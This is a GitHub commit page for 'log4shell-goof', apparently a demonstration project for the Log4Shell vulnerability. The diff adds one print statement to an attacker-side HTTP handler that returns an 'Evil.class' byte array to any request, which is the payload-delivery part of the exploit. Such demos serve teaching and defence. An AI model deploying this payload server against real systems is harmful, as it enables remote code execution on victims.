Skip to content

Commit

Permalink
Added some output for HTTP request
Browse files Browse the repository at this point in the history
  • Loading branch information
dogeared committed Dec 20, 2021
1 parent 1f40f12 commit a95d95d
Showing 1 changed file with 1 addition and 0 deletions.
1 change: 1 addition & 0 deletions log4shell-goof/log4shell-server/src/main/java/Server.java
Original file line number Diff line number Diff line change
Expand Up @@ -64,6 +64,7 @@ private static void setupHTTP(int port) throws IOException {

// keep it simple - any request returns our Evil.class
.setHandler(exchange -> {
System.out.println("Send HTTP class byte array result");
exchange.getResponseHeaders().put(Headers.CONTENT_TYPE, "application/octet-stream");
exchange.getResponseSender().send(ByteBuffer.wrap(targetArray));
}).build();
Expand Down

0 comments on commit a95d95d

Please sign in to comment.